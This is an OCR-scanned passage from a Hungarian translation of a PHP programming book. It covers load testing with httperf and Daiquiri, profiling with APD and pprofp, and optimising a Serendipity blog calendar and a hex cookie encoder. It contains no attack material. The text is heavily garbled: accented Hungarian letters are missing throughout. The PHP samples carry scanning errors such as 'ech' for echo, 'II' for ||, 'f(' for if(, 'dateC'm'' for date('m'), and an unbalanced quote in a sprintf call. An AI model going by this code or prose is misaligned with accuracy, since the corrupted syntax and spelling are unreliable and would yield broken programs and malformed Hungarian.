PHP fejleszts felsfokon A munkamenet-szimultor A munkamenet-szimultor a felhasznl viselkedst krelmek sorozatval prblja meg utnozni. Mkdsnek jellemzit ngy paramterrel - Ni, N2, X s L hatrozhatjuk meg. Egy munkamenet N2 hvsbl ll, melyek L-es csoportokra oszlanak. E csoportok felptse a kvetkez: a rendszer kiad egy krelmet, megvrja a vlaszt, majd a tbbi krelmet egyszerre indtja el. Ez azt a helyzetet utnozza, amikor egy weboldalon L-l kp, illetve msodlagos objektum tallhat - a felhasznl elszr a kezdeti kdot kri, majd ha a HTML megrkezett, jhetnek a kpek. A kvetkez csoport indtsa eltt a munkamenet X msodperc sznetet tart. Az Ni a megkezdend munkamenetek szmt hatrozza meg. A paramterek az albbiak szerint adhatk meg:
--wsess=Nl,N2,X -burst-length=L

A valsgh adatkpz A httperf lehetv teszi a felhasznl munkameneteinek majdnem valsgh visszajtszst egy egyszer mdszer segtsgvel. Az a visszajtsz program, amely a php. net tkroldalt olvassa 10 msodpercig, majd tovbbugrik a docs oldalra, a kvetkezkppen fest: /index.php think=10 /images/news/afup-logo.gif /images/news/chmhelp.gif /images/news/conference_php_quebec. g i f /images/news/hu_conf. gi f /images/news/international_conference_2003_spring.gif /images/news/mysgluc2003.png /images/news/phpcon_logo.png /images/php_logo.gif /images/rss10. g i f
/images/spacer.gif /backend/mirror.gif /docs.php /images/php_logo.gif /images/spacer.gi f

A kilg sorok egy csoport kezdett jelentik, mg az alattuk levk az ide tartoz alkrelmek. A csoportkezd soroknl egyedi belltsokat adhatunk meg - mennyit vrjunk a kvetkez csoportig, milyen mdszert hasznljunk, illetve bellthatjuk a POST adatokat, s gy tovbb. A munkamenetek programbeli megvalstsa igen hatkony eszkz, de a programfjlok (szkriptek) - jllehet igen elegns - formtuma megnehezti a valdi munkamenetek t-

17. fejezet Teljestmnymrs: teljes alkalmazsok tesztelse

463

rst. J lenne, ha ltezne egy olyan eszkz, ami kpes olvasni az Apache naplit s visszajtszani - nem csak egyszeren elemenknt, hanem az eredeti felllsnak megfelel idztssel. A Daiquiri ppen ezt teszi.

Daiquiri
A Daiquiri olyan webes terhelskpz, amely kpes rtelmezni az Apache ltalnos naplformtumban (Common Log Formt) lev naplit, s vissza is jtssza azokat. A program belltsai egy fjlban, az albbi alakban tallhatk meg: Schema test = {
Headers = "Hst: www.schlossnagle.org\r\n" Log = "/var/apache-logs/replay.log" RequestAllocation "reqalloc.so::SinglelP" => { 192.168.52.67:80 }

ChunkLength = 5 ChunkCushion = 1 HTTPTimeout = 200 MultiplicityFactor = 1


}

A Headers egy tetszleges, jsor karakterekkel elvlasztott fejlcekbl ll karakterlncot takar. A Log megadja azt a naplfjlt, amelybl olvasunk - fontos, hogy ez ltalnos naplformtumban legyen. A RequestAllocation meghatrozza a krelmek kiadsnak mdjt. A Daiquiri tmogatja a krelemkezel modulok dinamikus betltst, ami igen hasznos lehet, ha a beptett mkdsmdokkal nem vagyunk elgedettek. Ezek egybirnt a kvetkezk: SinglelP - Minden krelmet a megadott IP cmre kld. TCPlPRoundRobin - A krelmeket forgat (round-robin) mdszer szerint osztja ki a felsorolt IP cmek kztt. A ChunkLength s a ChunkCushion megadja, milyen messzire mehetnk elre (msodpercben mrve) a naplfjl feldolgozsban. A Daiquiri felttelezi, hogy a naplfjl sorai idrendben kvetik egymst. A MultiplicityFactor belltsval lehetv tehetjk, hogy a forgalmat a program a krelmek idztett tbbszri kiadsval biztostsa. Ez egyszer mdot ad arra, hogy webes alkalmazsaink kapacitst vals idben letszer adatokkal mrjk fel.

464

PHP fejleszts felsfokon

Tovbbi olvasmnyok
A Sun teljestmnyvizsgl nagymestere, Adrin Cockroft Capacity Planning for Internet Services cm knyve felbecslhetetlen rtk tudnivalkat tartalmaz a hagyomnyos kapacitstervezsi s -elemzsi mdszerek webes alkalmazsval kapcsolatban. A httperf letlthet Dvid Mosberger webhelyrl, a www.hpl .hp.com/personal/ /David_Mosberger/httperf .html cmrl. Ugyanitt tallhatunk nhny hivatkozst olyan cikkekre, amelyek megmagyarzzk a httperf mgtt meghzd tervezsi elgondolsokat, s tancsokkal is szolglnak hatkony alkalmazshoz. A Daiquiri Theo Schlossnagle mve - letltsre projektjei kztt, a kvetkez cmen van lehetsgnk: www.omniti. com/~jesus/projects.

Profilkszts
Ha hivatsszeren foglalkozunk PHP programozssal, elbb vagy utbb mindenkppen szksgnk lesz alkalmazsunk teljestmnynek javtsra. Ha nagy forgalm webhelyen dolgozunk, ez napi vagy heti teendink kz tartozhat, ha pedig projektjeink javarszt a bels hlzaton futnak, erre ritkbban van szksg. Mindazonltal, egy id utn a legtbb alkalmazst jra kell hangolni a megfelel teljestmny elrse rdekben. Amikor eladst tartok a PHP alkalmazsok teljestmnynek fokozsrl, szeretek klnbsget tenni a hangolsi eszkzk s a diagnosztikai mdszerek kztt. Az eddigiekben leginkbb az elbbiekkel foglalkoztunk: gyorstrazssal, rendszerszint hangolssal, az adatbzis-lekrdezsek optimalizlsval, valamint az algoritmusok hatkonysgnak nvelsvel. Mindezekre gy tekinthetnk, mint egy szerszmkszlet szerszmaira - a kalapcs, a nyomatkkulcs, vagy a csavarhz pp ilyen szerepet tlt be egy szerel letben. Ahogy egy kereket sem cserlhetnk ki egy kalapcs segtsgvel, gy egy adatbzissal kapcsolatos gondot sem orvosolhatunk nhny szablyos kifejezs mdostsval. J szerszmkszlet nlkl a gondok megoldsa lehetetlen, de szerszmaink egy fabatkt sem rnek, ha nem tudjuk, melyiket mikor alkalmazzuk. Az autkarbantarts szakterletn a megfelel szerszm kivlasztsa a tapasztalat s a helyes problma-felismers egyttes eredmnye. A helyes diagnosztikai mdszerek mg igen egyszer gondoknl is nagy segtsget jelenthetnek. Egy defektes kerk esetben pldul hiba kpes valaki befoltozni a lukat, ha nem tallja meg. Az sszetettebb helyzetek mlyrehatbb hibafeldertst ignyelnek. Ha az aut akadozva gyorsul, egyszeren tallgatssal kicserlhetem a motor egyes darabjait, mg a mkds javulni nem kezd. Ez a mdszer persze kltsges mind az anyagiakat, mind az idt tekintve. Sokkal clszerbb elvgezni egy motordiagnosztikai vizsglatot, ami rmutat a hiba pontos okra. A szmtgpprogramok ltalban sszetettebbek, mint az aut motorja, mgis, sokszor a tapasztalt felhasznlk is tallgatsokba bocstkoznak a teljestmnyhinyossgok helyt illeten. 2003-ban a php. net webhelyeken jelents lassulsok voltak tapasztalhatk. Az Apache webkiszolgl naplinak vizsglata alapjn hamar kiderlt, hogy a keresoldalak felelsek a gondokrt. Mindazonltal ahelyett, hogy tzetes elemzssel prbltk volna megtallni a hiba pontos okt, inkbb a vletlenszer tallgatsok mdszert v-

466

PHP fejleszts felsfokon

lasztottk. A vgeredmny az volt, hogy egy olyan problmra, melynek megoldsa rendesen egy rba telt volna, napokig gyrtottak olyan megoldsokat", amelyek valjban nem rintettk a lnyeget. Ha valaki azt kpzeli, hogy egy nagy alkalmazsban a puszta rrzs alapjn kpes megtallni a teljestmnycskkens okt, hatalmasat tved. ppen annyira bznk egy szerelben, aki mindenfle tesztek nlkl kijelenti, mi az autm baja, vagy egy orvosban, aki vizsglatok nlkl megllaptja a betegsgemet, mint egy olyan programozban, aki anlkl, hogy a kd elemzsbe bocstkozna, rmutat a teljestmnycskkens forrsra.

A j PHP profilkszt titka


A jl hasznlhat profilksztknek az albbi kvetelmnyeket kell kielgtenik: ttetszsg - A profilkszt mkdsbe helyezshez nem szabad semmifle kdvltoztatst megkvetelnnk. Az ilyen mdosts egyrszt knyelmetlensgeket okoz (s gy cskkenti a mdszer ignybe vtelnek eslyt), de emellett termszetnl fogva befolysolja a program futst, gy nmagunkat csaphatjuk be vele. Minimlis tbbletterhels - A profilksztk csak minimlis tbbletterhet jelenthetnek a programok futtatsnl. Idelis esetben a motor lassuls nlkl kell mkdjn, ha a program profiljt nem ksztjk el, s szinte lassuls nlkl, ha igen. A nagy terhels azt jelenten, hogy a profilksztt nem futtathatnnk teljestmnyhibk keressre, s jelents bels mrsi hibk forrsa volna (gy pldul meg kellene gyzdnnk arrl, hogy nem sajt magt mri). Knny hasznlat - Taln mondanunk sem kell, annyira termszetes, hogy a profilkszts eredmnynek knnyen rthetnek kell lennie. J, ha tbb kimeneti formtum is rendelkezsnkre ll, melyeket ksbb nyugodtan tvizsglhatunk. A finomhangols sok esetben hossz vizsglatot s sok kdvltoztatst ignyel. A rgi profilok ttekintsnek s sszevetsnek lehetsge ppen ezrt ltfontossg.

Profilkszt alkalmazsok - a bsg zavarval kszkdve


Hasonlan ms, a PHP-vel kapcsolatos lehetsgekhez, a profilksztkbl is egsz csokor ll rendelkezsnkre: Kdbeli profilksztk - Ebbe a csoportba igen rdekes, m alapjukban hibs megoldsok tartoznak. Itt PHP-ben rt profilksztkrl van sz, ami annyiban mindenkppen izgalmas, hogy mindig rm olyan PHP segdeszkzket ltni, melyek maguk is PHP-ben kszltek. Sajnlatos mdon azonban van egy, a lnyeget rint hibjuk: hasznlatukhoz szksg van a kd mdostsra (minden vizsglni kvnt fggvnynl meg kell oldanunk a profilkszt kd hvst), gy a programmal egytt fut profilkszt eltolhatja a teljestmnymrleget. E profilksztk hasznlata ltalban vve

18. fejezet Profilkszts

467

ellenjavallt, kivve az lesben mkd alkalmazsok egyes fggvnyeinek idmrst abban az esetben, ha nem telepthetnk bvtmny alap profilksztt. A kdbeli profilksztk j pldja a PEAR-ben elrhet Benchmark_Profiler, melyet a http: //pear.php. net /package/Benchmark cmen tallhatunk meg. Advanced PHP Debugger (APD) - Az APD, melyet Dniel Cowgill-lel kzsen fejlesztettnk ki, egy PHP bvtmny alap profilkszt, ami a pontos idmrs rdekben fellrja a Zend Engine vgrehajtsi hvsait. Termszetesen nmikpp elfogult vagyok e megolds irnyban, de ennek tudatban is ki merem jelenteni, hogy az APD rendelkezik a legsokoldalbb s legvltozatosabban bellthat profilksztsi lehetsgekkel az ismert megoldsok kztt. A program a gp ltal olvashat nyomkvetsi fjlokat kszt, gy lehetsg van klnbz md utlagos feldolgozsukra is. Emellett rendelkezik felhasznli szint horgokkal a kimenet formzshoz, gy az eredmnyt elkldhetjk a bngsznek, XML vagy brmilyen ms formtumba csomagolva. Kapunk tovbb egy lpsenknti interaktv hibakerest is, melyrl most nem szlunk bvebben. Az APD-t a PEAR PECL trban, a http: //pecl.php. net /apd cmen tallhatjuk meg. DBG - A DBG egy Zend bvtmny alap hibakeres s profilkszt, ami ingyenesen, valamint kereskedelmi vltozatban is elrhet a PHPEd kdszerkesztvel. A DBG nagyszer hibakeressi lehetsgekkel rendelkezik, de a profilksztsi tmogatsa nem olyan ers, mint az APD-. A programot a http: //dd. cron.ru/dbg cmen tallhatjuk meg. Xdebug - Driek Rethans Xdebug-ja egy Zend bvtmny alap profilkszt hibakeres. Jelenleg a hrom bvtmny alap hibakeres kzl ez a legjobb, tbb fellettel s sokoldal belltsi lehetsgekkel. Profilkszt kpessgei azonban elmaradnak az APD hasonl lehetsgei mgtt, klnsen a meglev nyomkvetsi adatok tbbirny feldolgozsa tern. Az Xdebug megtallhat a http: / /xdebug. org cmen. Fejezetnk tovbbi rszben az APD segtsgvel vgezzk el a programok profiljnak elksztst. Ha ms segdeszkzt hasznlunk (rdemes minden lehetsget kiprblni), a tanultak alkalmazsa akkor sem okozhat klnsebb nehzsgeket. Az itt elsajttott stratgik nem kthetk az egyes profilksztkhz - csak a konkrt pldk trhetnek el egymstl.

Az APD teleptse s hasznlata


Az APD a PECL rsze, gy a PEAR teleptt hasznlhatjuk a teleptshez: # pear install apd Ha ez megtrtnt, munkba is kell lltanunk a php. ini megfelel belltsval: zend_extension=/path/to/apd.so apd.dumpdir=/tmp/traces

468

PHP fejleszts felsfokon Az ADP mkdse sorn nyomkvetsi fjlokat kszt, melyeket a pprofp segdprogrammal dolgozhatunk fel a ksbbiekben. A fjlok az apd. dumpdir knyvtrba kerlnek, nevk pedig a pprof .pid alakot lti, ahol a pid a kirst vgz folyamat azonostja. Ahhoz, hogy egy programot nyomon kvessnk, mindssze az albbi fggvnyt kell meghvnunk a kezdskor (ltalban a program elejn): apd_set_pprof_trace() ; Az APD a kvetkez esemnyeket rgzti: Belps egy fggvnybe. Kilps egy fggvnybl. Fjl beemelse. Mindemellett, amikor egy fggvny visszatr, az APD megvizsgl nhny bels szmllt, s megnzi, mennyit haladtak elre a legutbbi ellenrzs ta. Ezek a szmllk a kvetkezk: Rel Time (falira-id") - Az eltelt valdi id (vals id). User Time - A felhasznl kdjnak CPU-futtatsi ideje (felhasznli id). System Time - Az opercis rendszer magszint hvsaival tlttt id (rendszerid).

A bels idmrk pontossga Az APD elemzse olyan pontossg, amit az elrhet rendszerszint mreszkzk lehetv tesznek szmra. A FreeBSD-n mindhrom szmll ezredmsodperc pontossg, mg a Linux rendszereken (legalbbis a 2.4-es vltozatban) a User Time s a System Time csak szzadmsodperces pontossgot ad.

A nyomkvetsi fjlt elksztse utn a pprofp programmal elemezhetjk. Ez a segdprogram szmos rendezsi s megjelentsi lehetsggel rendelkezik, melyek lehetv teszik, hogy egyetlen nyomkvetsi fjl alapjn klnbz nzpontokbl tekinthessnk a program mkdsre. me a pprofp belltsi lehetsgei: pprofp <kapcsolk> <nyomkvetsi fjl> Rendez kapcsolk -a Rendezs az eljrsok nevei szerint. -1 Rendezs az eljrsok hvsnak szma szerint. -r Rendezs az eljrsokban tlttt vals id szerint. -R Rendezs az eljrsokban tlttt vals id szerint (a gyermekhvsokkal egytt). -s Rendezs az eljrsokban tlttt rendszerid szerint.

18. fejezet Profilkszts

469

-S -u -U -v -z

Rendezs az eljrsokban tlttt rendszerid (a gyermekhvsokkal egytt), Rendezs az eljrsokban tlttt felhasznli Rendezs az eljrsokban tlttt felhasznli (a gyermekhvsokkal egytt), Rendezs az eljrsokban tlttt tlagos id Rendezs az eljrsokban tlttt rendszer-, plusz felhasznli id szerint (alaprtelmezs).

szerint id szerint. id szerint szerint.

Megjelentsi kapcsolk -c Megjelenti az eltelt vals idt a hvsi fban. -i Elrejti a php beptett fggvnyeit. -m Megjelenti a fjl/sor pozcikat a nyomkvetsi adatokban -0 szml Meghatrozza a megjelenthet eljrsok legnagyobb szmt (alapllapotban 1 5) . -t Tmrtett hvsi ft jelent meg. -T Tmrtetlen hvsi ft jelent meg.
Klnsen rdekes a -t s a -T kapcsol, melyekkel megjelenthetjk a hvsi ft, valamint a rendez kapcsolk. Amint lthattuk, ez utbbiak lehetv teszik, hogy a fggvnyeket rendezzk a kizrlag velk tlttt id alapjn (ebbe nem szmtanak bele a gyermekhvsok), valamint a hvsokkal egytt mrt id alapjn. ltalban a vals eltelt id alapjn rdemes rendeznnk (-r vagy -R), mivel ezt az idt rzik a ltogatk az oldalon. Itt megjelenik a vrakozs a vlaszra az adatbzishvsoknl, s ms, hasonlan blokkol mveletek idtartama. Jllehet az ilyen szk keresztmetszetek ismerete igen hasznos lehet, sokszor kvncsiak vagyunk arra is, milyen teljestmnyt nyjt nyers kdunk a kimeneti-bemeneti mveletek vrakozsi idejtl eltekintve. Ilyenkor alkalmazhatjuk a -z, illetve a -Z kapcsolkat, melyek a CPU hasznlatval tlttt idt mrik.

Egy nyomkvetsi plda


Prbljuk most ki, milyen eredmnyeket vrhatunk az APD-tl - llatorvosi lovunk legyen az albbi program: <?php apd_set_pprof_trace(); hello("George") ; goodbye("George") ; function hello($name) { ech "Hello $name\n"; sleep(1) ;
}

470

PHP fejleszts felsfokon

function goodbye($name)
{

ech "Goodbye $name\n";


} ?>

A 18.1. brn lthatjuk, milyen eredmnyt kapunk, ha a profilksztst az -r kapcsolval futtatjuk. Az eredmnyek persze nem meglepek: a sleep (1) ; pldul nagyjbl 1 msodpercig tart. (Valjban egy kiss tovbb, ami jellemz szmos nyelv sleep fggvnyre - ha igazn pontos eredmnyre van szksgnk, hasznljuk a usleep () fggvnyt). A hello () s a goodbye () egyarnt igen gyors. Mindkt fggvnyt egyszer hajtottuk vgre, s a program futsnak teljes ideje 1,0214 msodperc.

18.1. bra A profilkszts eredmnye egy egyszer program esetben. A teljes hvsi fa megjelentshez a -Tcm kapcsolt hasznlhatjuk. Ezzel egy teljes hvsi ft kapunk, sszestett idkkel, valamint a hvsoknl fjl- s sorpozcikkal. A 18.2. brn az gy kapott kimenetet lthatjuk. Figyeljk meg, hogy a hvsi fban a sleep behzott, mivel a hello () gyermekhvsa.

18. fejezet Profilkszts

471

18.2. bra

Egy egyszer program hvsi fja.

Egy nagyobb alkalmazs profiljnak elksztse


Most, hogy megismertk az APD hasznlatnak alapjait, prbljuk meg egy nagyobb projektre alkalmazni. A Serendipity, ez a teljes mrtkben PHP-ben rt, nylt forrs webnaplz program ppen megfelel erre a clra. Jllehet leginkbb egyedi webnaplk ksztsre hasznljk, eredetileg nagy, tbbfelhasznls krnyezetekre terveztk, korltlan szm szerzvel. Szmunkra a Serendipity nagyszer kiindulpont egy olyan kzssgi webhely vizsglata fel, amely webnaplzst tesz lehetv a felhasznlk szmra. Lehetsgeihez mrten a program kpes megfelelni az ilyen nagylptk krnyezetek ignyeinek, de elszr meg kell vizsglnunk a kdot, hogy valban j mretezhetsgi jellemzkkel rendelkezik-e. Ezt az elemzst a leghatkonyabban egy profilkszt segtsgvel vgezhetjk el. A profilkszt segdeszkzk egyik legnagyszerbb tulajdonsga, hogy j betekintst adnak olyan kdokba is, melyek teljessggel ismeretlenek szmunkra. A szk keresztmetszetek azonostsval s a megfelel kdrszletek felkutatsval az APD lehetv teszi, hogy kslekeds nlkl a knyes helyzetekkel kezdhessnk foglalkozni.

472

PHP fejleszts felsfokon rdemes elszr a webnapl kezdoldalra sort kerteni. Ennek rdekben az index. php elejt egy nyomkvet kddal egsztjk ki. Mivel mindekzben a webnaplt hasznljk, nem kvethetnk nyomon minden oldalelrst, gy be kell burkolnunk a profilkszt hvst, hogy csak akkor induljon el, amikor a PR0FILE=1 paramtert is tadjuk az URL sorban: <?php f($_GET['PROFIL'] = = 1 ) { apd_set_pprof_trace(); } /* ... itt kezddik a Serendipity eredeti kdja ...

*/

A 18.1. brn lthatjuk a profilksztnek a kezdlapra vonatkoz eredmnyeit, vals, hvsokkal egytt szmtott idejk szerint rendezve (az -R kapcsolval). Jmagam szeretem az elemzst az -R kapcsolval kezdeni, mert az gy kapott eredmny rvilgt arra, mely nagylptk mveletek lassultak le. Mivel ilyenkor a fggvnyek gyermekhvsainak ideje is beleszmt a kapott eredmnybe, az elkel helyeken leginkbb fels szint" fggvnyeket tallunk. Az oldalon mrt teljes id 1,1231 msodperc volt, ami nem rossz, ha sajt webhelynkrl van sz, de tl lass lehet, ha a Serendipity-t egy nagyobb felhasznli bzis vagy nagy forgalm webhelyen kvnjuk hasznlni. Az idfelhasznlsi verseny els helyezettje az include_once (), ami egybknt nem szokatlan nagyobb alkalmazsoknl, melyek jelents rsze beemelt fjlokban tallhat. Figyeljk meg azt is, hogy az include_once () nem csak a hvsokkal egytt mrt listban vezet, hanem a hvsok nlkliben is. Ezt lthatjuk a 18.4. brn, ahol a pprofp -r futtats eredmnyt tntettk fel - az include_once () a teljes futsid 29,7%-t veszi el gyermekhvsok nlkl.

18.3. bra A Serendipity kezdlapjnak els profilksztsi eredmnyei.

18. fejezet Profilkszts

473

18.4. bra

A Serendipity kezdlapjnak hvsai, a gyermekhvsok figyelembe vtele nlkl. Amit itt ltunk, az a Serendipity beemelt fjljainak fordtsi kltsge. Emlkezznk vissza a 9. fejezetre, ahol megtanultuk, hogy a PHP programok futtatsnl felmerl egyik legnagyobb kltsget rtelmezsk s kztes kdba fordtsuk jelenti. Mivel a beemelt fjlok rtelmezse s vgrehajtsa futsidben trtnik, ezt a kltsget azonnal lthatjuk a 18.4. bra adatain. Ezt a tbbletterhet jelentsen cskkenthetjk, ha fordti gyorstrat alkalmazunk. A 18.5. brn lthatjuk az eredmnyeket az APC teleptse s a profilok futtatsa utn. Az include_once () tovbbra is vezet a hvsokkal egytt mrt idk versenyben (ami rendben van, hiszen ez tartalmazza az oldal kdjnak jelents rszt), de a hvsok nlkli idk kztt mr nincs benne az els tben. Mindemellett a program futsideje csaknem a felre esett vissza.

18.5. bra

A Serendipity kezdlapjnak profilja az APC fordti gyorstr hasznlata mellett.

474

PHP fejleszts felsfokon

Ha a bennmarad hvsokat tekintjk, lthatjuk a hrom legnagyobb idrablt": serendipity_plugin_api::generate_plugins serendipity_db_query mysql_db_query Azt vrtuk volna, hogy az adatbzis-lekrdezsek lassak lesznek. Nos, ltalban ez a helyzet - ezek a lekrdezsek gyakran vezetnek adattorldsokhoz. Feldertskrl s javtsukrl mr szltunk a 12. fejezetben, gy most nem bocstkozunk a rszletekbe. Amint a korbbiakban mr elrevettettk, az adatbzis-lekrdezsek magas idfelhasznlst nem a felhasznli kd vagy a rendszer lasssga okozza, mivel a velk tlttt idt gyakorlatilag az adatbzis-kiszolglra val vrakozs teszi ki. A generate_plugins () egszen ms trtnet. A Serendipity lehetv teszi, hogy sajt felhasznli bvtmnyeket alkalmazzunk az oldals bngszsv elemeiknt, s nhny gyri lehetsggel is szolgl, mint a naptr, a hivatkozskvet, valamint az archvumbeli keress. Nem tnik gy, mintha itt olyan nagy kltsgek merlnnek fel. A tovbbi vizsglat rdekben elkszthetjk a teljes hvsi ft az albbi utastssal: > pprofp -tcm /tmp/pprof. 28986 A 18.6. bra a fa azon rszt mutatja, amely a serendipity_plugin_api : : generate_plugins () els hvst rszletezi. Az els nagyjbl 20 sorban rendes, bevezet mveleteket tallunk, egy adatbzis-lekrdezst (a serendipity_db_query () fggvnnyel) s nhny karakterlncmveletet - semmi klns. Az oldal felnl azonban, a serendipity_drawcalendar () fggvnyben a hvsok kezdenek gyant kelteni. Az mktime () s a date () ismtld hvsa nem breszt j rzseket az emberben. Vgeredmnyben a program 217 alkalommal hvja meg a date () -et ebben a fggvnyben. Ha visszatekintnk a 18.5. brra, a hvsok nlkli nyomkvets adatain lthatjuk, hogy a program sszesen 240-szer hvta meg a date () -et, ami gy a program teljes futsi idejnek 14,8%-t foglalta le - teht van mit javtani.

18. fejezet Profilkszts

475

18.6. bra

A Serendipity kezdlapjnak hvsi fja. Szerencsre a hvsi fa pontosan megmutatja, hol kell krlnznnk: a serendipity_functions. inc .php 245-261. soraiban. me a bns" kd:
227 print ("<TR CLASS='serendipity_calendar'>") ; 228 for ($y=0; $y<7; $y++) { 229 // nmi kd a szeglyek tetszets kirsra 230 $cellProp = ""; 231 if ($y==0) $cellProp = "FirstlnRow"; 232 if ($y==6) $cellProp = "LastlnRow"; 233 if ($x==4) $cellProp = "LastRow"; 234 if ($x==4 && $y==6) $cellProp = "LastlnLastRow" ; 235 236 // a kirs kezdete 237 if (($x>0 II $y>=$firstDayWeekDay) && $currDay<=$nrOfDays) { 238 if ($activeDays[$currDay] > 1) $cellProp.='Active'; 239 print("<TD CLASS='serendipity_calendarDay$cellProp'>"); 240 241 // nap kirsa 242 if ($serendipity["rewrite"]==true) 243 $link = $serendipity["serendipityHTTPPath"]."archives/". 244 date("Ymd", mktime(0,0,0, $month, $currDay, $year)).
245 ".html";

246

else

476

PHP fejleszts felsfokon

247 $link = $serendipity["serendipityHTTPPath"];; 248 if (dateC'm") == $month && 249 dateC'Y") == $year && 250 date("j") == currDay) { 251 ech "<I>"; 252 } 253 if ($activeDays[$currDay] > 1) { 254 print ("<A HREF='$link'>"); 255 } 256 print ($currDay); 257 if ($activeDays[$currDay] > 1) print ("</A>"); 258 if (date("m") == $month && 259 dateC'Y") == $year && 260 date("j") == $currDay) { ech "</l>"; 261 262 } 263 print("</TD>") ; $currDay++; 264 } 265 else { 266 267 print "<TD CLASS='serendipity_calendarBlankDay$cellProp'>"; 268 print "&nbsp;</TD>"; 269 } 270 } 271 print ("</TR>");

Ez a serendipity_drawcalendar () fggvny rsze, ami a naptrat rja ki a bngsz svra. Ha megfigyeljk a 244. sort, lthatjuk, hogy a date () hvs fgg a $month, a $ currDay s a $year rtkektl. A $ currDay minden lpsben nvekszik, gy ezt a hvst nyilvn nem hagyhatjuk el, viszont kicserlhetjk: date("Ymd", mktime(0,0,0, $month, $currDay, $year))

A fenti sor egy dtumkarakterlncot kszt a $month, a $ currDay s a $year rtkekbl. A date () s az mktime () fggvnyek hasznlata elkerlhet, ha magunk formzzuk ezt a karakterlncot: sprintf("%4d%02d%02d:, $year, $month, $currDay)

Mindemellett a 248-250. s a 258-260. sorbeli hvsok nem fggnek semmilyen vltoztl, gy kitehetjk ket a ciklusbl. Ha ezt megtesszk, a ciklus eltt ki kell szmolnunk a megfelel hrom vltozt:
227 $date_m = dateC'm"); 228 $date_Y = dateC'Y"); 22 9 $date_j = dateC'j");

18. fejezet Profilkszts

477

230 print ("<TR CLASS='serendipity_calendar'>"); 231 for ($y=0; $y<7; $y++) { 232 /* ... */

Ezutn a 248-250. s a 258-260. sorok gy festenek:


if ($date_m == $month && $date_Y == $year && $date_j == $currDay) {

Ezzel az egyszer mdostssal a date () hvsok szmt 240-rl 38-ra cskkentettk, ami a serendipity_plugin_api : : generate_plugins () sebessgt tbb mint 20%kal nvelte, a kezdoldal elrsi idejt pedig 10%-kal cskkentette. Nos, ahhoz kpest, hogy mindssze 9 sort mdostottunk, s 15 percet tltttnk a feladattal, ez egszen j eredmny! Pldnkat persze knnyen elknyvelhetjk az egyszer programozsi hibk kztt. Egy vltozatlan fggvnyhvs beptse egy ciklusba valban gyakori hiba kezd programozknl, de jelentktelen hibnak tekinteni tbb okbl sem szabad: A tapasztalt programozk is kvetnek el ilyen hibkat, klnsen nagy ciklusokban, ahol nehz kvetni, hol mdosulnak a vltozk. Csoportos munkban gyakran fordulnak el ilyen apr gondatlansgok. gy pldul megeshet, hogy egy viszonylag egyszer feladatot - ilyen egy naptr elksztse is - egy fiatal, tapasztalatlan fejlesztnek adnak ki, s a rendszeres programvizsglat elsiklik az ilyesfajta hibk felett. Az ilyen s ehhez hasonl gyenge pontokat szinte soha nem lehet megrzs alapjn felfedezni. Ha messzirl tekintnk a kdra, valszntlen, hogy a naptrra (ami nem igazn tartozik az alkalmazs lnyegi elemei kz) gyanakodjunk. Mindazonltal az ilyen aprsgok vesztesgei - 10% itt, 15% ott - hamar sszeaddnak, s teljestmny-rzkeny alkalmazsokban sok gondot okozhatnak.

Az ltalnos gyengesgek feldertse


A profilksztk a legjobb formjukat az ltalnos gyengesgek feldertsnl hozzk. Ilyen lehet pldul, ha a program ismtlden meghv egy kltsges felhasznli fggvnyt, mikzben egy beptett is megtenn, vagy gyakran alkalmaz egy fggvnyt ciklusban, pedig egyetlen beptett fggvnnyel is elvgezhetn az adott feladatot. Az eddigi elemzsi mdszertl eltren, ahol a hvsokat is beszmtva rtnk el hasznos eredmnyeket, az enyhe, de gyakran jelentkez gondokat hatkonyabban felderthetjk, ha eltekintnk a bels hvsoktl.

478

PHP fejleszts felsfokon

Kedvenc esetem, amely jl pldzza a helyzetet, mg az APD szletse idejn trtnt meg. A cgnl, ahol akkoriban dolgoztam, volt nhny fggvny, melyek arra szolgltak, hogy binris adatokat (fknt kdolt felhasznli adatokat) 8 bit-biztoss" tegyk, s gy alkalmass vljanak stibeli hasznlatra. Minden krelemnl, ami egy olyan oldalhoz rkezett, ahol szksg volt a tag azonostjra s jelszavra, a felhasznl stijt visszafejtettk, majd egyarnt alkalmaztuk hitelestsre s felhasznli adatok trolsra. Mivel a felhasznli munkamenetek egy id utn elavultak, a sti tartalmazott egy idblyeget, melyet minden krelemnl visszalltottunk annak biztostkaknt, hogy a munkamenet tovbbra is rvnyes legyen. A kdot mr hrom ve hasznltuk - mg a PHP3 idejben ksztettk, amikor az ltalnos binris adatok (pldul a null rtket tartalmazk) kezelse mg nem volt megfelel a stikkel dolgoz PHP kdokban, s a rawurlencode sem volt mg kpes ltalnos binris adatok befogadsra. A szban forg fggvnyek valahogy gy festettek: function hexencode($data) { $ascii = unpack("C*", $data); $retval = ' ' ;
foreach ($ascii as $v) { $retval .= sprintf("%02x", $v); >

return $retval;
}

function hexdecode($data) { $len = strlen($data); $retval = ' ' ; for ( $ i = 0 ; $i < $len; $i+= 2) $retval .= packC'C", hexdec ( substr($data, $i, 2) ) );
}

return $retval;
}

Kdolskor a binris adatok karakterlncait a program sszetev karaktereikre bontotta az unpack () fggvnnyel. Ezutn talaktotta hexadecimlis rtkkre, majd jra sszelltotta a karakterlncot. A visszafejts ugyangy festett, csak fordtva. A fggvnyek ltszlag hatkonyak voltak -legalbbis a PHP lehetsgeihez mrten. Amikor azutn tesztelni kezdtem az APD-t, meglepetsemre kiderlt, hogy e kt fggvny felels a webhely oldalai vgrehajtsi idejnek csaknem 30%-rt. A gondot az okozta, hogy a felhasznlk stijei nem voltak kicsik - tlagosan 1 KB-osak - s egy ekkora tm-

18. fejezet Profilkszts

479

bn vgighaladni s az elemeket egy karakterlnchoz csatolni meglehetsen lass a PHPben. Mivel a fggvnyek a PHP szempontjbl mondhatni optimlis alaknak tekinthetk, nem volt sok vlasztsunk: Megksrelhettk megoldani, hogy a sti trolsa a PHP-ben is eltrje az ltalnos binris adatokat. Hasznlatba vehettnk egy beptett fggvnyt, ami a keresetthez hasonl eredmnyt ad (ilyen pldul a base64_encode ()). Vgl az els mellett dntttnk, s ennek eredmnyekppen a PHP jelenlegi vltozatai mr az ltalnos binris adatokkal is megbirkz stikezelst alkalmaznak. Mindazonltal a msodik megolds is ppen ilyen j lett volna. Egy apr javts jelents gyorsulst hozhat - esetnkben ez nem csak egyetlen program sebessgt nvelte meg, hanem 30%-os kapacitsbvlst eredmnyezett az egsz alkalmazsban. Mint minden olyan technikai problmnl, melyre ltezik egyszer megolds, felmerl a krds: hogyan trtnhetett meg mindez? A vlasz sszetett, s mgis egyszer - ez az oka annak, hogy a nagy forgalm webhelyek profiljt rendszeresen 